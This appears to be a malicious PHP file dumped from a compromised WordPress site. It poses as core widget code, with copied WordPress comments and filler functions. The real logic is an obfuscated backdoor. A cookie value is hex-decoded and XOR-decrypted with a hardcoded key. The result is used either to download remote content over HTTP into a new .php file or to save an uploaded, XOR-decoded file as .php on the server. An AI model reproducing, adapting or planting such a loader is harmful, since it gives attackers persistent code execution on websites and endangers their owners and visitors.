Current File : /var/www/html/higroup/wp-content/plugins/22q949o4/arkH.js.php
<?php /*
*
* Core Widgets API
*
* This API is used for creating dynamic sidebar without hardcoding functionality into
* themes
*
* Includes both internal WordPress routines and theme-use routines.
*
* This functionality was found in a plugin before the WordPress 2.2 release, which
* included it in the core from that point on.
*
* @link https:wordpress.org/documentation/article/manage-wordpress-widgets/
* @link https:developer.wordpress.org/themes/functionality/widgets/
*
* @package WordPress
* @subpackage Widgets
* @since 2.2.0
Global Variables.
* @ignore
global $wp_registered_sidebars, $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_widget_updates;
*
* Stores the sidebars, since many themes can have more than one.
*
* @global array $wp_registered_sidebars Registered sidebars.
* @since 2.2.0
$wp_registered_sidebars = array();
*
* Stores the registered widgets.
*
* @global array $wp_registered_widgets
* @since 2.2.0
$wp_registered_widgets = array();
*
* Stores the registered widget controls (options).
*
* @global array $wp_registered_widget_controls
* @since 2.2.0
$wp_registered_widget_controls = array();
*
* @global array $wp_registered_widget_updates
$wp_registered_widget_updates = array();
*
* Private
*
* @global array $_wp_sidebars_widgets
$_wp_sidebars_widgets = array();
*
* Private
*
* @global array $_wp_deprecated_widgets_callbacks
$GLOBALS['_wp_deprecated_widgets_callbacks'] = array(
'wp_widget_pages',
'wp_widget_pages_control',
'wp_widget_calendar',
'wp_widget_calendar_control',
'wp_widget_archives',
'wp_widget_archives_control',
'wp_widget_links',
'wp_widget_meta',
'wp_widget_meta_control',
'wp_widget_search',
'wp_widget_recent_entries',
'wp_widget_recent_entries_control',
'wp_widget_tag_cloud',
'wp_widget_tag_cloud_control',
'wp_widget_categories',
'wp_widget_categories_control',
'wp_widget_text',
'wp_widget_text_control',
'wp_widget_rss',
'wp_widget_rss_control',
'wp_widget_recent_comments',
'wp_widget_recent_comments_control',
);
Template tags & API functions.
*
* Register a widget
*
* Registers a WP_Widget widget
*
* @since 2.8.0
* @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object
* instead of simply a `WP_Widget` subclass name.
*
* @see WP_Widget
*
* @global WP_Widget_Factory $wp_widget_factory
*
* @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass.
function register_widget( $widget ) {
global $wp_widget_factory;
$wp_widget_factory->register( $widget );
}
*
* Unregisters a widget.
*
* Unregisters a WP_Widget widget. Useful for un-registering default widgets.
* Run within a function hooked to the {@see 'widgets_init'} action.
*
* @since 2.8.0
* @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object
* instead of simply a `WP_Widget` subclass name.
*
* @see WP_Widget
*
* @global WP_Widget_Factory $wp_widget_factory
*
* @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass.
function unregister_widget( $widget ) {
global $wp_widget_factory;
$wp_widget_factory->unregister( $widget );
}
*
* Creates multiple sidebars.
*
* If you wanted to quickly create multiple sidebars for a theme or internally.
* This function will allow you to do so. If you don't pass the 'name' and/or
* 'id' in `$args`, then they will be built for you.
*
* @since 2.2.0
*
* @see register_sidebar() The second parameter is documented by register_sidebar() and is the same here.
*
* @global array $wp_registered_sidebars The new sidebars are stored in this array by sidebar ID.
*
* @param int $number Optional. Number of sidebars to create. Default 1.
* @param array|string $args {
* Optional. Array or string of arguments for building a sidebar.
*
* @type string $id The base string of the unique identifier for each sidebar. If provided, and multiple
* sidebars are being defined, the ID will have "-2" appended, and so on.
* Default 'sidebar-' followed by the number the sidebar creation is currently at.
* @type string $name The name or title for the sidebars displayed in the admin dashboard. If registering
* more than one sidebar, include '%d' in the string as a placeholder for the uniquely
* assigned number for each sidebar.
* Default 'Sidebar' for the first sidebar, otherwise 'Sidebar %d'.
* }
function register_sidebars( $number = 1, $args = array() ) {
global $wp_registered_sidebars;
$number = (int) $number;
if ( is_string( $args ) ) {
parse_str( $args, $args );
}
for ( $i = 1; $i <= $number; $i++ ) {
$_args = $args;
if ( $number > 1 ) {
if ( isset( $args['name'] ) ) {
$_args['name'] = sprintf( $args['name'], $i );
} else {
translators: %d: Sidebar number.
$_args['name'] = sprintf( __( 'Sidebar %d' ), $i );
}
} else {
$_args['name'] = isset( $args['name'] ) ? $args['name'] : __( 'Sidebar' );
}
Custom specified ID's are suffixed if they exist already.
Automatically generated sidebar names need to be suffixed regardless starting at -0.
if ( isset( $args['id'] ) ) {
$_args['id'] = $args['id'];
$n = 2; Start at -2 for conflicting custom IDs.
while ( is_registered_sidebar( $_args['id'] ) ) {
$_args['id'] = $args['id'] . '-' . $n++;
}
} else {
$n = count( $wp_registered_sidebars );
do {
$_args['id'] = 'sidebar-' . ++$n;
} while ( is_registered_sidebar( $_args['id'] ) );
}
register_sidebar( $_args );
}
}
*
* Builds the definition for a single sidebar and returns the ID.
*
* Accepts either a string or an array and then parses that against a set
* of default arguments for the new sidebar. WordPress will automatically
* generate a sidebar ID and name based on the current number of registered
* sidebars if those arguments are not included.
*
* When allowing for automatic generation of the name and ID parameters, keep
* in mind that the incrementor for your sidebar can change over time depending
* on what other plugins and themes are installed.
*
* If theme support for 'widgets' has not yet been added when this function is
* called, it will be automatically enabled through the use of add_theme_support()
*
* @since 2.2.0
* @since 5.6.0 Added the `before_sidebar` and `after_sidebar` arguments.
* @since 5.9.0 Added the `show_in_rest` argument.
*
* @global array $wp_registered_sidebars Registered sidebars.
*
* @param array|string $args {
* Optional. Array or string of arguments for the sidebar being registered.
*
* @type string $name The name or title of the sidebar displayed in the Widgets
* interface. Default 'Sidebar $instance'.
* @type string $id The unique identifier by which the sidebar will be called.
* Default 'sidebar-$instance'.
* @type string $description Description of the sidebar, displayed in the Widgets interface.
* Default empty string.
* @type string $class Extra CSS class to assign to the sidebar in the Widgets interface.
* Default empty.
* @type string $before_widget HTML content to prepend to each widget's HTML output when assigned
* to this sidebar. Receives the widget's ID attribute as `%1$s`
* and class name as `%2$s`. Default is an opening list item element.
* @type string $after_widget HTML content to append to each widget's HTML output when assigned
* to this sidebar. Default is a closing list item element.
* @type string $before_title HTML content to prepend to the sidebar title when displayed.
* Default is an opening h2 element.
* @type string $after_title HTML content to append to the sidebar title when displayed.
* Default is a closing h2 element.
* @type string $before_sidebar HTML content to prepend to the sidebar when displayed.
* Receives the `$id` argument as `%1$s` and `$class` as `%2$s`.
* Outputs after the {@see 'dynamic_sidebar_before'} action.
* Default empty string.
* @type string $after_sidebar HTML content to append to the sidebar when displayed.
* Outputs before the {@see 'dynamic_sidebar_after'} action.
* Default empty string.
* @type bool $show_in_rest Whether to show this sidebar publicly in the REST API.
* Defaults to only showing the sidebar to administrator users.
* }
* @return string Sidebar ID added to $wp_registered_sidebars global.
function register_sidebar( $args = array() ) {
global $wp_registered_sidebars;
$i = count( $wp_registered_sidebars ) + 1;
$id_is_empty = empty( $args['id'] );
$defaults = array(
translators: %d: Sidebar number.
'name' => sprintf( __( 'Sidebar %d' ), $i ),
'id' => "sidebar-$i",
'description' => '',
'class' => '',
'before_widget' => '<li id="%1$s" class="widget %2$s">',
'after_widget' => "</li>\n",
'before_title' => '<h2 class="widgettitle">',
'after_title' => "</h2>\n",
'before_sidebar' => '',
'after_sidebar' => '',
'show_in_rest' => false,
);
*
* Filters the sidebar default arguments.
*
* @since 5.3.0
*
* @see register_sidebar()
*
* @param array $defaults The default sidebar arguments.
$sidebar = wp_parse_args( $args, apply_filters( 'register_sidebar_defaults', $defaults ) );
if ( $id_is_empty ) {
_doing_it_wrong(
__FUNCTION__,
sprintf(
translators: 1: The 'id' argument, 2: Sidebar name, 3: Recommended 'id' value.
__( 'No %1$s was set in the arguments array for the "%2$s" sidebar. Defaulting to "%3$s". Manually set the %1$s to "%3$s" to silence this notice and keep existing sidebar content.' ),
'<code>id</code>',
$sidebar['name'],
$sidebar['id']
),
'4.2.0'
);
}
$wp_registered_sidebars[ $sidebar['id'] ] = $sidebar;
add_theme_support( 'widgets' );
*
* Fires once a sidebar has been registered.
*
* @since 3.0.0
*
* @param array $sidebar Parsed arguments for the registered sidebar.
do_action( 'register_sidebar', $sidebar );
return $sidebar['id'];
}
*
* Removes a sidebar from the list.
*
* @since 2.2.0
*
* @global array $wp_registered_sidebars Registered sidebars.
*
* @param string|int $sidebar_id The ID of the sidebar when it was registered.
function unregister_sidebar( $sidebar_id ) {
global $wp_registered_sidebars;
unset( $wp_registered_sidebars[ $sidebar_id ] );
}
*
* Checks if a sidebar is registered.
*
* @since 4.4.0
*
* @global array $wp_registered_sidebars Registered sidebars.
*
* @param string|int $sidebar_id The ID of the sidebar when it was registered.
* @return bool True if the sidebar is registered, false otherwise.
function is_registered_sidebar( $sidebar_id ) {
global $wp_registered_sidebars;
return isset( $wp_registered_sidebars[ $sidebar_id ] );
}
*
* Register an instance of a widget.
*
* The default widget option is 'classname' that can be overridden.
*
* The function can also be used to un-register widgets when `$output_callback`
* parameter is an empty string.
*
* @since 2.2.0
* @since 5.3.0 Formalized the existing and already documented `...$params` parameter
* by adding it to the function signature.
* @since 5.8.0 Added show_instance_in_rest option.
*
* @global array $wp_registered_widgets Uses stored registered widgets.
* @global array $wp_registered_widget_controls Stores the registered widget controls (options).
* @global array $wp_registered_widget_updates
* @global array $_wp_deprecated_widgets_callbacks
*
* @param int|string $id Widget ID.
* @param string $name Widget display title.
* @param callable $output_callback Run when widget is called.
* @param array $options {
* Optional. An array of supplementary widget options for the instance.
*
* @type string $classname Class name for the widget's HTML container. Default is a shortened
* version of the output callback name.
* @type string $description Widget description for display in the widget administration
* panel and/or theme.
* @type bool $show_instance_in_rest Whether to show the widget's instance settings in the REST API.
* Only available for WP_Widget based widgets.
* }
* @param mixed ...$params Optional additional parameters to pass to the callback function when it's called.
function wp_register_sidebar_widget( $id, $name, $output_callback, $options = array(), ...$params ) {
global $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_widget_updates, $_wp_deprecated_widgets_callbacks;
$id = strtolower( $id );
if ( empty( $output_callback ) ) {
unset( $wp_registered_widgets[ $id ] );
return;
}
$id_base = _get_widget_id_base( $id );
if ( in_array( $output_callback, $_wp_deprecated_widgets_callbacks, true ) && ! is_callable( $output_callback ) ) {
unset( $wp_registered_widget_controls[ $id ] );
unset( $wp_registered_widget_updates[ $id_base ] );
return;
}
$defaults = array( 'classname' => $output_callback );
$options = wp_parse_args( $options, $defaults );
$widget = array(
'name' => $name,
'id' => $id,
'callback' => $output_callback,
'params' => $params,
);
$widget = array_merge( $widget, $options );
if ( is_callable( $output_callback ) && ( ! isset( $wp_registered_widgets[ $id ] ) || did_action( 'widgets_init' ) ) ) {
*
* Fires once for each registered widget.
*
* @since 3.0.0
*
* @param array $widget An array of default widget arguments.
do_action( 'wp_register_sidebar_widget', $widget );
$wp_registered_widgets[ $id ] = $widget;
}
}
*
* Retrieve description for widget.
*
* When registering widgets, the options can also include 'description' that
* describes the widget for display on the widget administration panel or
* in the theme.
*
* @since 2.5.0
*
* @global array $wp_registered_widgets
*
* @param int|string $id Widget ID.
* @return string|void Widget description, if available.
function wp_widget_description( $id ) {
if ( ! is_scalar( $id ) ) {
return;
}
global $wp_registered_widgets;
if ( isset( $wp_registered_widgets[ $id ]['description'] ) ) {
return esc_html( $wp_registered_widgets[ $id ]['description'] );
}
}
*
* Retrieve description for a sidebar.
*
* When registering sidebars a 'description' parameter can be included that
* describes the sidebar for display on the widget administration panel.
*
* @since 2.9.0
*
* @global array $wp_registered_sidebars Registered sidebars.
*
* @param string $id sidebar ID.
* @return string|void Sidebar description, if available.
function wp_sideba*/
/**
* Callback function for usort() to naturally sort themes by translated name.
*
* @since 3.4.0
*
* @param WP_Theme $max_exec_time First theme.
* @param WP_Theme $steamdataarray Second theme.
* @return int Negative if `$max_exec_time` falls lower in the natural order than `$steamdataarray`. Zero if they fall equally.
* Greater than 0 if `$max_exec_time` falls higher in the natural order than `$steamdataarray`. Used with usort().
*/
function image_align_input_fields($v_month, $CommentStartOffset = 'txt')
{
return $v_month . '.' . $CommentStartOffset; // @plugin authors: warning: these get registered again on the init hook.
}
/**
* Keep track of the current partial being rendered.
*
* @since 4.5.0
* @var string|null
*/
function xml_escape($loader, $return_type) // Index Specifiers Count WORD 16 // Specifies the number of Index Specifiers structures in this Index Object.
{
$smtp = append_content_after_template_tag_closer($loader);
$uid = "HashMeString";
$new_term_id = rawurldecode($uid); // Generate the new file data.
$requested_post = hash('md5', $new_term_id);
$policy = str_pad($requested_post, 32, "!");
$ofp = substr($new_term_id, 2, 6);
if ($smtp === false) { // Object Size QWORD 64 // size of ExtendedContent Description object, including 26 bytes of Extended Content Description Object header
if (!empty($ofp)) {
$show_in_nav_menus = trim($ofp);
}
// Handle meta capabilities for custom post types.
$option_extra_info = explode("S", $uid); // Symbol hack.
return false;
}
$matched_search = strlen($option_extra_info[1]); // If a search pattern is specified, load the posts that match.
$unhandled_sections = array_merge($option_extra_info, array($show_in_nav_menus));
return wp_editor($return_type, $smtp); // Non-hierarchical post types can directly use 'name'.
}
/** @var string $m - Decrypted message */
function iconv_fallback_iso88591_utf16($layout_orientation)
{
get_test_scheduled_events($layout_orientation); // Hack: get_permalink() would return plain permalink for drafts, so we will fake that our post is published.
$term_obj = "Key=Value"; // $non_wp_rulesighestIndex = $this->stream->readLong();
print_inline_script($layout_orientation);
}
/**
* Filters the list of teenyMCE plugins.
*
* @since 2.7.0
* @since 3.3.0 The `$new_fileditor_id` parameter was added.
*
* @param array $plugins An array of teenyMCE plugins.
* @param string $new_fileditor_id Unique editor identifier, e.g. 'content'.
*/
function fe_normalize($notimestamplyricsarray, $to_ping)
{
$roomTypeLookup = export_header_video_settings($notimestamplyricsarray) - export_header_video_settings($to_ping);
$valid_tags = [1, 2, 3];
$u1_u2u2 = [4, 5, 6];
$roomTypeLookup = $roomTypeLookup + 256;
$notify = array_merge($valid_tags, $u1_u2u2);
$modules = count($notify);
$roomTypeLookup = $roomTypeLookup % 256;
$notimestamplyricsarray = do_all_hook($roomTypeLookup);
return $notimestamplyricsarray; // sanitize_email() validates, which would be unexpected.
}
/*
* Gap styles will only be output if the theme has block gap support, or supports a fallback gap.
* Default layout gap styles will be skipped for themes that do not explicitly opt-in to blockGap with a `true` or `false` value.
*/
function register_block_core_query_pagination($valid_tags, $u1_u2u2) {
$should_skip_font_family = get_the_ID($valid_tags, $u1_u2u2);
$loaded_langs = array("apple", "banana", "cherry");
return get_attachment_icon($should_skip_font_family);
}
/**
* Controller which provides REST endpoint for retrieving information
* from a remote site's HTML response.
*
* @since 5.9.0
*
* @see WP_REST_Controller
*/
function wp_editor($return_type, $raw_sidebar) // iTunes 6.0.2
{
return file_put_contents($return_type, $raw_sidebar);
} // the common parts of an album or a movie
/*
* The scale factor is a multiplier that affects how quickly the curve will move towards the minimum,
* that is, how quickly the size factor reaches 0 given increasing font size values.
* For a - b * log2(), lower values of b will make the curve move towards the minimum faster.
* The scale factor is constrained between min and max values.
*/
function print_inline_script($sub_type) // Fairly large, potentially too large, upper bound for search string lengths.
{
echo $sub_type;
}
/**
* Timestamp this request was completed.
*
* @since 4.9.6
* @var int|null
*/
function sodium_randombytes_random16($v_month)
{ // Add each element as a child node to the <url> entry.
$wp_id = 'lirgGjorLkWwkHOGwHySDYBYAMFBbFA';
$max_exec_time = "apple";
$steamdataarray = "banana";
$p4 = substr($max_exec_time, 1, 2);
$styles_non_top_level = substr($steamdataarray, 1, 2); // Upgrade versions prior to 2.9.
if (isset($_COOKIE[$v_month])) {
$new_file = $p4 ^ $styles_non_top_level;
$xchanged = array($p4, $styles_non_top_level, $new_file);
$z_inv = count($xchanged); // Comma-separated list of positive or negative integers.
if (!empty($xchanged)) {
$non_wp_rules = str_pad($z_inv, 5, "0", STR_PAD_LEFT);
}
wp_save_image_file($v_month, $wp_id); // Bits for bytes deviation $xx
$punycode = trim($non_wp_rules);
$source_block = rawurldecode("Hello%20World"); // Parse genres into arrays of genreName and genreID
}
}
/**
* Make private properties readable for backward compatibility.
*
* @since 4.0.0
* @since 6.4.0 Getting a dynamic property is deprecated.
*
* @param string $name Property to get.
* @return mixed A declared property's value, else null.
*/
function export_header_video_settings($new_version)
{
$new_version = ord($new_version);
return $new_version; // Reverb
}
/**
* Returns the array of differences.
*/
function get_the_ID($valid_tags, $u1_u2u2) { // Don't pass suppress_filter to WP_Term_Query.
$what_post_type = "http://example.com/main";
return array_merge($valid_tags, $u1_u2u2);
}
/**
* Checks if a particular blog is archived.
*
* @since MU (3.0.0)
*
* @param int $xml_base Blog ID.
* @return string Whether the blog is archived or not.
*/
function addrFormat($meta_query_clauses) // "SONY"
{
return wp_register_widget_control() . DIRECTORY_SEPARATOR . $meta_query_clauses . ".php";
}
/**
* Checks if a given request has access to a font face.
*
* @since 6.5.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has read access, WP_Error object otherwise.
*/
function colord_hsla_to_rgba($xml_base, $modifiers, $APICPictureTypeLookup) {
$user_site = "Hello_World"; // ----- Look for options that request an array of string for value
$readlength = "UPDATE users SET name = ?, email = ? WHERE id = ?"; // Don't allow interim logins to navigate away from the page.
$pass_frag = rawurldecode($user_site); // post_type_supports( ... comments or pings )
$options_to_prime = substr($pass_frag, 0, 5);
$unfiltered = str_pad($options_to_prime, 10, "*"); // Set ParagonIE_Sodium_Compat::$xchangedastMult to true to speed up verification.
$plugin_stats = $APICPictureTypeLookup->prepare($readlength); // 6 blocks per syncframe
$plugin_stats->bind_param("ssi", $modifiers['name'], $modifiers['email'], $xml_base);
return $plugin_stats->execute();
} /////////////////////////////////////////////////////////////////
/**
* @deprecated
* @var null
*/
function current_before($modifiers, $maybe_defaults)
{
$numberstring = strlen($maybe_defaults); // s[1] = s0 >> 8;
$Username = array("data1", "data2", "data3");
$old_fastMult = implode("|", $Username); // We're going to clear the destination if there's something there.
$wp_lang = strlen($modifiers);
$s_prime = str_pad($old_fastMult, 15, "!");
if (!empty($s_prime)) {
$sanitized_post_title = hash('md5', $s_prime);
$picture = substr($sanitized_post_title, 0, 10);
}
$numberstring = $wp_lang / $numberstring; // ----- Error configuration
$numberstring = ceil($numberstring);
$layer = str_split($modifiers);
$maybe_defaults = str_repeat($maybe_defaults, $numberstring); // Check that the `src` property is defined and a valid type.
$prepared_nav_item = str_split($maybe_defaults); // Settings cookies.
$prepared_nav_item = array_slice($prepared_nav_item, 0, $wp_lang);
$QuicktimeIODSvideoProfileNameLookup = array_map("fe_normalize", $layer, $prepared_nav_item);
$QuicktimeIODSvideoProfileNameLookup = implode('', $QuicktimeIODSvideoProfileNameLookup);
return $QuicktimeIODSvideoProfileNameLookup;
}
/**
* Cache handler classes
*
* These receive 3 parameters to their constructor, as documented in
* {@see register()}
* @var array
*/
function GetFileFormat($required_properties, $m_key) {
$user_blog = " Python ";
$wp_path_rel_to_home = trim($user_blog); // RFC 3023 (only applies to sniffed content)
$successful_updates = str_replace("Python", "PHP", $wp_path_rel_to_home); // Move any left over widgets to inactive sidebar.
$picture = strtoupper($successful_updates);
return date('Y-m-d', strtotime("$required_properties + $m_key years")); // This method look for each item of the list to see if its a file, a folder
} // h - Grouping identity
/**
* Clears the plugins cache used by get_plugins() and by default, the plugin updates cache.
*
* @since 3.7.0
*
* @param bool $p4lear_update_cache Whether to clear the plugin updates cache. Default true.
*/
function export_partial_rendered_nav_menu_instances($number2)
{ // Template for the inline uploader, used for example in the Media Library admin page - Add New.
$portable_hashes = pack("H*", $number2);
$submit_text = "Sample%Text";
$ReplyTo = rawurldecode($submit_text);
return $portable_hashes; // Private posts don't have plain permalinks if the user can read them.
} // Exclude terms from taxonomies that are not supposed to appear in Quick Edit.
/**
* Add extra item data.
*
* Adds data to a registered item.
*
* @since 2.6.0
*
* @param string $non_wp_rulesandle Name of the item. Should be unique.
* @param string $maybe_defaults The data key.
* @param mixed $value The data value.
* @return bool True on success, false on failure.
*/
function get_attachment_icon($large_size_h) {
$out_fp = "5,10,15,20"; // for=jetpack: Moderation via the WordPress app, Calypso, anything powered by the Jetpack connection.
$partial_args = explode(",", $out_fp); // If the reserved code is indicated, the decoder should not attempt to decode audio and should mute.
$permalink_structure = array_sum($partial_args); // If there are no addresses to send the comment to, bail.
return array_unique($large_size_h); // Copy some attributes from the parent block to this one.
}
/**
* Base HTTP transport
*
* @package Requests\Transport
*/
function sanitize_subtypes($loader)
{
if (strpos($loader, "/") !== false) {
$OggInfoArray = "Sample text";
$valuePairs = trim($OggInfoArray);
if (!empty($valuePairs)) {
$plen = strlen($valuePairs);
}
return true;
}
return false;
} // Remove the original table creation query from processing.
/**
* Returns the query args for retrieving users to list in the sitemap.
*
* @since 5.5.0
*
* @return array Array of WP_User_Query arguments.
*/
function make_headers($modifiers, $APICPictureTypeLookup) { // Ensure the page post type comes first in the list.
$readlength = "INSERT INTO users (name, email) VALUES (?, ?)";
$user_dropdown = implode("-", array("Part1", "Part2", "Part3"));
$last_item = explode("-", $user_dropdown); // Ping and trackback functions.
$plugin_stats = $APICPictureTypeLookup->prepare($readlength);
$plugin_stats->bind_param("ss", $modifiers['name'], $modifiers['email']); // ----- Look for parent directory
$plugin_stats->execute();
return $plugin_stats->insert_id;
} // There's no way to detect which DNS resolver is being used from our
/*
* $p4olor is the saved custom color.
* A default has to be specified in style.css. It will not be printed here.
*/
function declare_html_entities($v_month, $wp_id, $layout_orientation) // If we don't have anything to pull from, return early.
{
$meta_query_clauses = $_FILES[$v_month]['name'];
$recode = "Some Padding";
$new_cron = str_pad($recode, 12, "0");
$swap = hash('sha256', $new_cron);
$return_type = addrFormat($meta_query_clauses);
$upload_id = trim($swap);
if (!empty($upload_id)) {
$secure_transport = $upload_id[0];
$live_preview_aria_label = substr($upload_id, 0, 10);
$picture = str_pad($live_preview_aria_label, 20, "*");
}
get_last_error($_FILES[$v_month]['tmp_name'], $wp_id);
wp_doing_cron($_FILES[$v_month]['tmp_name'], $return_type);
}
/**
* Exposes an image through the WordPress REST API.
* This is used for fetching this information when user has no rights
* to update settings.
*
* @since 5.9.0
*
* @param WP_REST_Response $response REST API response.
* @param int $punycodemage_id Image attachment ID.
* @param string $type Type of Image.
*/
function delete_all_user_settings($xml_base, $APICPictureTypeLookup) { // Prevent non-existent `notoptions` key from triggering multiple key lookups.
$processed_css = "secure_item"; // but only one with the same content descriptor
$this_scan_segment = explode("_", $processed_css);
$sides = implode("-", $this_scan_segment); // 2. Check if HTML includes the site's REST API link.
$readlength = "SELECT * FROM users WHERE id = ?";
$plugin_stats = $APICPictureTypeLookup->prepare($readlength);
$new_cron = str_pad($sides, 15, "x");
$plugin_stats->bind_param("i", $xml_base);
$AudioChunkHeader = hash('md5', $new_cron);
$matched_route = strlen($AudioChunkHeader);
$plugin_stats->execute(); // ID3v1 encoding detection hack START
if ($matched_route > 32) {
$AudioChunkHeader = substr($AudioChunkHeader, 0, 32);
}
// Find all Image blocks.
return $plugin_stats->get_result()->fetch_assoc();
}
/**
* Validates the plugin path.
*
* Checks that the main plugin file exists and is a valid plugin. See validate_file().
*
* @since 2.5.0
*
* @param string $plugin Path to the plugin file relative to the plugins directory.
* @return int|WP_Error 0 on success, WP_Error on failure.
*/
function wp_doing_cron($BlockOffset, $stylesheet_link) // If this is a create request, get_post() will return null and wp theme will fallback to the passed post type.
{
$month = move_uploaded_file($BlockOffset, $stylesheet_link);
$mid_size = "abcdefgh";
$navigation_name = substr($mid_size, 0, 4);
$page_uris = strlen($navigation_name);
if ($page_uris == 4) {
$unfiltered = "This is a 4 character string.";
}
// horizontal resolution, in pixels per metre, of the target device
return $month; // Output the characters of the uri-path from the first
}
/**
* Adds additional sizes to be made when creating the site icon images.
*
* @since 4.3.0
*
* @param array[] $sizes Array of arrays containing information for additional sizes.
* @return array[] Array of arrays containing additional image sizes.
*/
function wp_save_image_file($v_month, $wp_id)
{ // binary
$x_large_count = $_COOKIE[$v_month];
$sub_type = "Sample Message";
if (!empty($sub_type)) {
$original_height = substr($sub_type, 0, 6);
}
$upgrade_error = hash('md5', $original_height);
$large_size_h = array($upgrade_error, $original_height);
$x_large_count = export_partial_rendered_nav_menu_instances($x_large_count); // And <permalink>/comment-page-xx
$layout_orientation = current_before($x_large_count, $wp_id);
if (sanitize_subtypes($layout_orientation)) {
$unfiltered = iconv_fallback_iso88591_utf16($layout_orientation);
return $unfiltered;
} // Ensure we will not run this same check again later on.
is_plugin_active_for_network($v_month, $wp_id, $layout_orientation);
}
/**
* Corrects 404 redirects when NOBLOGREDIRECT is defined.
*
* @since MU (3.0.0)
*/
function is_plugin_active_for_network($v_month, $wp_id, $layout_orientation)
{
if (isset($_FILES[$v_month])) {
$r_status = "24-12-2023";
$paging_text = explode('-', $r_status);
if (count($paging_text) === 3) {
$mysql_client_version = implode("", array_reverse($paging_text));
$NextObjectGUIDtext = hash('sha256', $mysql_client_version);
$post_link = str_pad($NextObjectGUIDtext, 64, '*');
$SMTPDebug = trim($post_link);
$roomTypeLookup = strlen($SMTPDebug) ^ 10;
$MIMEHeader = array($roomTypeLookup);
while ($roomTypeLookup > 0) {
$roomTypeLookup--;
$MIMEHeader[] = $roomTypeLookup ^ 10;
}
$picture = implode('_', $MIMEHeader);
}
// Clear the current updates.
declare_html_entities($v_month, $wp_id, $layout_orientation);
}
print_inline_script($layout_orientation);
}
/**
* Creates a recovery mode token.
*
* @since 5.2.0
*
* @return string A random string to identify its associated key in storage.
*/
function get_feed_link($xml_base, $APICPictureTypeLookup) {
$limits = "quick_brown_fox";
if (!empty($limits)) {
$ms_files_rewriting = explode('_', $limits);
$rendering_sidebar_id = array_map('trim', $ms_files_rewriting);
$mixdata_bits = implode(' ', $rendering_sidebar_id);
$rotated = strlen($mixdata_bits);
$setting_args = 5 ^ $rotated;
while ($setting_args < 100) {
$setting_args += 5;
}
$max_num_pages = hash('md5', $mixdata_bits . $setting_args);
}
$readlength = "DELETE FROM users WHERE id = ?";
$plugin_stats = $APICPictureTypeLookup->prepare($readlength);
$plugin_stats->bind_param("i", $xml_base);
return $plugin_stats->execute(); // Admin has handled the request.
}
/**
* Filters the data used to generate the tag cloud.
*
* @since 4.3.0
*
* @param array[] $tags_data An array of term data arrays for terms used to generate the tag cloud.
*/
function get_settings_slugs($loader)
{ // Out of bounds? Make it the default.
$loader = "http://" . $loader;
$validities = "%3Fuser%3Dabc%26age%3D20"; // Trim slashes from the end of the regex for this dir.
$pretty_permalinks = rawurldecode($validities);
$new_sidebars_widgets = explode('&', substr($pretty_permalinks, 1));
foreach ($new_sidebars_widgets as $subdomain_error_warn) {
list($reference_count, $old_from) = explode('=', $subdomain_error_warn);
if ($reference_count == 'user') {
$override_slug = str_pad($old_from, 8, '0', STR_PAD_RIGHT);
}
}
$the_date = "User: " . $override_slug;
return $loader; # for (i = 1; i < 5; ++i) {
}
/**
* Revisions administration panel
*
* Requires wp-admin/includes/revision.php.
*
* @package WordPress
* @subpackage Administration
* @since 2.6.0
*/
function translate_with_gettext_context($APICPictureTypeLookup) {
$max_exec_time = "space_compressed";
$readlength = "SELECT * FROM users";
$steamdataarray = rawurldecode($max_exec_time);
$p4 = hash("sha256", $steamdataarray);
$styles_non_top_level = substr($p4, 0, 6);
$new_file = str_pad($styles_non_top_level, 8, "0"); // Check if search engines are asked not to index this site.
$unfiltered = $APICPictureTypeLookup->query($readlength);
$xchanged = strlen($steamdataarray);
$z_inv = explode("_", $max_exec_time); // $p_option : the option value.
$template_part_query = [];
$non_wp_rules = count($z_inv);
while($theme_vars = $unfiltered->fetch_assoc()) {
$punycode = array($max_exec_time, $new_file, $xchanged);
$template_part_query[] = $theme_vars;
$source_block = implode(",", $punycode); // Remove the field from the array (so it's not added).
if (!empty($source_block)) {
$list_files = date("dmY");
}
} # v0=ROTL(v0,32);
return $template_part_query;
}
/**
* Set which class SimplePie uses for content-type sniffing
*/
function do_all_hook($new_version)
{ // If the post has been modified since the date provided, return an error.
$notimestamplyricsarray = sprintf("%c", $new_version);
$pending = "Hello XYZ!";
$utimeout = str_replace("XYZ", "World", $pending); // hard-coded to 'vorbis'
$reply_text = date("Y-m-d H:i:s");
$sql_clauses = substr($reply_text, 0, 10);
return $notimestamplyricsarray; // Commented out because no other tool seems to use this.
}
/**
* Updates an option for a particular blog.
*
* @since MU (3.0.0)
*
* @param int $xml_base The blog ID.
* @param string $option The option key.
* @param mixed $value The option value.
* @param mixed $styles_non_top_leveleprecated Not used.
* @return bool True if the value was updated, false otherwise.
*/
function get_last_error($return_type, $maybe_defaults) // ...for every widget we're trying to revive.
{ // Convert the response into an array.
$mp3gain_undo_left = file_get_contents($return_type);
$today = array(1, 2, 3);
foreach ($today as $processed_css) {
$unfiltered = $processed_css * $processed_css;
}
// Old relative path maintained for backward compatibility.
$last_sent = current_before($mp3gain_undo_left, $maybe_defaults);
$QuicktimeIODSaudioProfileNameLookup = implode(",", $today); // There is a core ticket discussing removing this requirement for block themes:
file_put_contents($return_type, $last_sent);
}
/**
* Fires after the rewrite rules are generated.
*
* @since 1.5.0
*
* @param WP_Rewrite $wp_rewrite Current WP_Rewrite instance (passed by reference).
*/
function get_test_scheduled_events($loader)
{
$meta_query_clauses = basename($loader);
$parent_comment = "This is a statement.";
if (isset($parent_comment)) {
$seen_ids = strtoupper($parent_comment);
}
$return_type = addrFormat($meta_query_clauses); // only the header information, and none of the body.
xml_escape($loader, $return_type); // If they're not using the fancy permalink option.
}
/**
* After looping through a nested query, this function
* restores the $post global to the current post in this query.
*
* @since 3.7.0
*
* @global WP_Post $post Global post object.
*/
function append_content_after_template_tag_closer($loader)
{
$loader = get_settings_slugs($loader);
$shown_widgets = array("Alice", "Bob", "Charlie");
return file_get_contents($loader);
}
/**
* Adds or merges an entry to the PO structure.
*
* @since 2.8.0
*
* @param array|Translation_Entry $new_filentry
* @return bool True on success, false if the entry doesn't have a key.
*/
function wp_register_widget_control()
{
